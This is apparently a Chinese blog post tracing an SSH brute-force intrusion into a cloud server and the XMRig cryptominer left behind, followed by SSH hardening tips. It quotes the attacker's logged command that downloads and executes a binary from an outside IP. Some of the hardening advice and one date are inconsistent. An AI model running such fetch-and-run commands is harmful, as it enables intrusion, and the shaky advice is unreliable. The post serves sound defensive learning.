服务器被入侵了，溯源全过程（实战） 服务器被入侵了，溯源全过程（实战） 事件经过 今天一大早，我还没完全从睡梦中清醒时，接到了某云平台发来的一条紧急短信。这条短信通知我，我的云服务器遭到了入侵并且攻击者已经成功登录。这个消息让我立刻警觉起来，我意识到网络安全在数字时代的重要性。 在面对这种情况时，首先要确认通知的真实性。我通过云平台官方渠道验证了短信的来源，确认那是一条来自合法渠道的警报信息。 紧接着，我立刻进入云平台的控制台，通过双重身份验证的方式登录到我的账户。我细致地检查了账户的登录活动日志，并发现了一些可疑痕迹。有一些未经授权的登录记录，让我深感威胁的现实性。 为了尽快应对这一紧急情况，我立即采取了一系列行动来保护我的云服务器和数据。 首先，我立刻更改了云平台账户的密码。我选择了一个强密码，并确保与其他账户的密码不同，以增加密码的复杂度。我也暂时关闭了所有端口，以防止攻击者在我的服务器上留下后门，继续渗透我的系统。 此外，由于我意识到服务器的数据可能已经遭到篡改或损坏，我考虑了进行服务器的还原操作。我恢复了之前的可靠备份，以确保数据的完整性和安全性。 最后，我加强了服务器的安全措施。我重新评估了云服务器的安全性，包括启用双重身份验证、定期更新操作系统和应用程序补丁、限制不必要的远程访问等。 溯源开始 第一步 查找入侵证据 根据现有信息，入侵的账号是通过git的账号使用ssh协议入侵，源IP为美国，更加详细的信息我们需要进入服务内查看登陆日志，来确认是否还有其他类型的入侵未被发现。 通过以下命令来查看所有用户的登录信息，如果从未登录过就为显示为 Never logged in lastlog 根据登录活动日志我发现： root 用户最近一次登录是在 2023 年 6 月 22 日 13:24，来自 IP 地址 218.76.254.64。 mysql 用户最近一次登录是在2023年6月8日 02:07:39 登录过 git 用户最近一次登录，是我已经追踪到以后，登录查看执行过的指令 根据以上信息我们发现不了什么问题 我们继续查看用户登录日志： /var/log/secure 因为腾讯云，给的告警为git用户暴力破解登录，所以我们主要差git用户的登录记录 使用如下命令 cat /var/log/secure | grep git 发现有人在6月7日开始一直在尝试使用"git"、“gitlab-psql”、"gitlab"这几个账号一直在尝试用SSH连接我的服务器。但是都未成功，用户名也是无效的，一直到下图 在这条记录中，我们可以看到，有人2023年6月19日，新建了一个“git”用户组和一个“git”的用户，并 在 2023年6月19日下午更改了他们的密码。随后，在晚上11点04分开始，来自 IP 地址 104.248.232.174 的用户尝试使用 “git” 用户进行 SSH 登录，但都失败了，并多次使用不同的端口进行尝试。 这些日志记录表明有人尝试进行字典/暴力攻击，试图通过尝试不同密码进行未经授权的访问。 该IP查询为美国的一个IP，和腾讯云告警的地址一摸一样， 在这一条记录中，也就是事发时间 2023年7点15分左右，它使用“git”账号通过ssh成功登录了服务器，并在服务器中运行了一系列指令， COMMAND=/bin/sh -c cd /var/tmp ; curl -O 185.252.178.82:6972/hoze || cd1 -O 185.252.178.82:6972/hoze || wget 185.252.178.82:6972/hoze ; chmod +x hoze ; ./hoze 下载了一个可疑文件，并且赋予了执行权限，执行了该文件。 该ip为荷兰的IP，腾讯云上并为告警。 通过以上日志分析，初步的可以分析出，有人在6月7日的时候一直在尝试连接我的服务使用的账号为"git"、“gitlab-psql”、"gitlab"一直到6月19日 ，不知道通过什么办法在我服务器内新建了一个”git”账号，并成功连接了我的服务器，下载一个可疑程序，并执行了该程序。 登录上“git”用户查看执行指令情况 使用下列命令： history 查看历史指令 登录上git账号后第一时间更改了账号密码，查询历史执行指令发现为空，可能已经清除了日志。 分析其他日志查找可疑程序 1.分析系统日志 分析： /var/log/cron 日志：记录了计划任务（cron）相关的活动，可以检查是否有恶意的计划任务被添加到系统中。 在次日志文件中未发现可疑计划任务。 分析 /var/log/messages 日志 ：记录了重要的系统消息、警告和错误 发现有大量未知IP尝试连接pure-ftpd 服务 但是都未连接成功，但是这里也提醒了我，一些不需要的功能统统都移除掉，不要留安全隐患。 2.分析系统进程 是同 top命令查看系统现在正在使用的进程状态，查看是否有可疑程序正在运行 top PID: 2992，进程的唯一标识符。USER: root，启动或拥有该进程的用户为 root。PR: 20，进程的优先级为 20。NI: 0，进程的优先级别增量为 0。VIRT: 1344400，进程使用的虚拟内存大小为 1344400 KB。RES: 16124，进程使用的物理内存大小为 16124 KB。SHR: 3184，进程共享的内存大小为 3184 KB。S: S，表示进程的状态为睡眠状态（Sleeping）。%CPU: 0.3，进程所占用的 CPU 使用率为 0.3%。%MEM: 0.4，进程所占用的内存使用率为 0.4%。TIME+: 0:01.55，进程已运行的 CPU 时间为 0小时1分55秒。COMMAND: sh，进程的命令名称为 “sh”。 在此处也没有发现可疑程序。 新进展 2023年2月22日晚上19:20分左右，突然发现服务CPU使用异常，直接飙升至100% 此时，瞬感不妙，黑客应该又从新黑入我的服务器。应该是后门还没有彻底清除，于是我又登陆上我的服务器进行了应急处理 首先使用top 查看现在服务器的进程， 这一次查询，终于发现恶意程序，在服务器进程中它的进程名位xrx，PID为9159的恶意进程。按照现在的情况大概分析为恶意挖矿程序。 我通过find / -name xrx find / -name xrx 总算在linux 目录中找了它的踪迹 文件路径在 /var/tmp/.xrx/xrx 隐藏目录下，文件内容如下 查清文件后我使用命令： kill 9519 强制杀死了该进程 当我把该挖矿程序强制杀掉以后，CPU利用率立马就下降了 出于好奇我运行了恶意程序，准备进一步的去分析 根据提供的日志，这是关于 XMRig 挖矿软件的相关信息和一些操作记录。以下是对每个部分的解读： ABOUT：显示了 XMRig 的版本信息（6.10.0）和编译器信息（gcc 9.3.0）。它还列出了 XMRig 使用的一些库（libuv 1.41.0、OpenSSL 1.1.1j 和 hwloc 2.4.1）。 HUGE PAGES 和 1GB PAGES：指示系统是否支持使用大页面和 1GB 页面。在这个日志中，系统支持使用大页面，但禁用了1GB 页面。 CPU：描述了 CPU 的型号（Intel® Xeon® Platinum 8255C CPU @ 2.50GHz），以及一些关于 CPU 的信息，如 L2 缓存大小（8.0 MB）、L3 缓存大小（35.8 MB）、核心数（2C）、线程数（2T）和 NUMA（Non-Uniform Memory Access）。 MEMORY：显示了内存的使用情况，包括可用内存（1.5 GB）和总内存（3.6 GB），以及使用率（42%）。 DONATE：表示在挖矿收益中，1% 的份额将被捐赠。 ASSEMBLY：该设置为 “auto:intel”，表明 XMRig 使用 Intel 架构的汇编指令集进行加速。 POOL #1 到 POOL #5：列出了多个矿池的连接信息，包括 IP 地址、端口号、算法和加密货币类型。 COMMANDS：列出了可以在 XMRig 中使用的命令，如 hashrate（哈希率）、pause（暂停）、resume（恢复）、results（结果）和connection（连接）等。 接下来是一些具体的操作记录： net use pool：表示 XMRig 正在连接指定的矿池，其中包括 IP 地址、TLS 协议版本以及矿池的指纹。 net new job：表示 XMRig 收到了来自矿池的新的挖矿任务，并显示了任务的相关信息，如难度、算法和区块高度。 cpu use argon2 implementation：指定了 XMRig 使用的 Argon2 加密算法的实现方式（AVX-512F）。 msr cannot read MSR 和 msr FAILED TO APPLY MSR MOD：表示 XMRig 在读取和应用 MSR（Model Specific Register）时遇到了问题，这可能会影响性能。 randomx dataset ready：表示 XMRig 完成了 RandomX 数据集的初始化，准备开始挖矿。 分析完后果然，这就是一个妥妥的挖矿软件。我的服务器成了大冤种，正在苦命的给黑客卖命挖矿，造孽啊！ 我又通过top查看现在的系统进程情况 运行完了以后发现，CPU使用率飙升至接近200%了 ，内存使用率也飙升至60%左右，这TMD运行了这软件，我的服务器也就不要干其他的了，还好发现及时。 于是我先继续往下查： 使用命令 netstat -anp |grep 16984 查询它的传输层状态： 在这里我的IP是腾讯云的内网地址？ 这是我就有点蒙圈了，明明是在外网攻击我的，为什么在这里会显示出我的内网地址呢？？ 希望有哪位大佬能帮忙解答一下 对方的IP应该就其中一个矿池的IP了使用的端口是2008 以现在我的能力能想到的地方就只能查到这里了，这也是我第一次遇见处理Linux服务器入侵事件，同时也存在非常多的问题需 处理办法 ssh配置存在缺陷，没有设置密码失败限制 方法出如下： vim /etc/ssh/sshd_config 使用以上命令，进入ssh配置文件将MaxAuthTries 设置为一个合理数值 例如： 3，将LoginGraceTime 设置较长时间，这样就可以限制ssh登陆错误的情况下，暴力破解密码。 MaxAuthTries 3 #这个选项控制了在一个SSH会话中，用户最大允许尝试进行身份验证的次数。建议将其设置为一个适当的数值，例如3或5。 LoginGraceTime 600 #这个选项控制了登录期间的宽限时间（以秒为单位）。在此时间内，如果用户无法进行身份验证，连接将被断开。建议将其设置为一个合理的时间范围， 配置完成后，重启sshd服务才能生效。 systemctl restart sshd.service 最好禁用密码身份认证，改用密匙身份认证，这样就可以最大程序阻断黑盒通过ssh协议入侵系统。 方法如下： vim /etc/ssh/sshd_config 使用以上命令，进入ssh配置文件将PasswordAuthentication设置为no，以及ChallengResponseAuthentication 设置为no，将UsePAM设置为no PasswordAuthentication no #将其设置为 `no`，以禁用密码身份验证。 PasswordAuthentication no #将其设置为 `no`，以禁用密码身份验证。 UsePAM no #将其设置为 `no`，以禁用使用Pluggable Authentication Modules（PAM）进行身份验证。 3.使用端口转发和限制：使用非标准SSH端口，而不是默认的22端口。这将减少大量的自动化尝试连接。此外，你还可以通过在防火墙设置中仅允许特定的IP地址或IP地址范围对该非标准端口的访问来进一步限制。 更改SSH服务器默认端口： 默认情况下，SSH服务器的端口是22。将其更改为一个非标准端口可以减少自动化扫描和攻击的数量。你可以编辑SSH服务器配置文件 /etc/ssh/sshd_config，将端口号更改为你选择的非标准端口，并重新启动SSH服务。 使用防火墙设置端口转发：使用防火墙（如iptables）设置端口转发规则，只允许特定的IP地址或IP地址范围通过非标准SSH端口访问服务器。 例如，限制IP地址为192.168.0.100的主机可以访问SSH服务器的非标准端口（例如2222）： sudo iptables -A INPUT -p tcp -s 192.168.0.100 --dport 2222 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 2222 -j DROP 这将允许来自192.168.0.100的主机通过非标准SSH端口2222访问服务器，同时拒绝其他IP地址的访问。 请注意，这只是一个简单的示例，真正的设置可能需要更详细的规则，以适应你的环境和安全要求。 使用端口转发和SSH隧道：SSH还提供了端口转发和SSH隧道的功能，允许你在客户端和服务器之间建立安全的连接，并通过加密通道进行数据传输。你可以使用本地端口转发和远程端口转发来增加网络传输的安全性。 本地端口转发：将本地计算机上的端口转发到远程服务器上，可以通过SSH服务进行访问。 ssh -L <本地端口>:<目标主机>:<目标端口> <用户名>@ 远程端口转发：将远程服务器上的端口转发到本地计算机上，可以通过SSH客户端进行访问。 ssh -R <本地端口>:<目标主机>:<目标端口> <用户名>@ 使用防火墙：通过设置防火墙规则限制来自恶意IP地址的SSH连接。你配置防火墙规则，例如限制特定IP地址或IP地址范围对SSH端口的访问。 总结 以现在我的能力能想到的地方就只能查到这里了，这也是我第一次遇见处理Linux服务器入侵事件，同时也存在非常多的问题需要我以后来解决，例如： 黑客为什么之前一直以 ssh方式用“git”等账号连接，在19号之前都是显示账号不可用，为什么19号那天突然就创建了一个git账号并成功入侵？应急处理的方式太过于草率，简单除暴的关闭防火墙端口，如果是在生产环境中，要怎么去完美处理这类事件？对Linux的日志文件还不够熟悉，在翻阅日志时，只知道大概的方面，并不知道该何处入手分析？对linux后门不够了解。linux命令掌握的不够全面。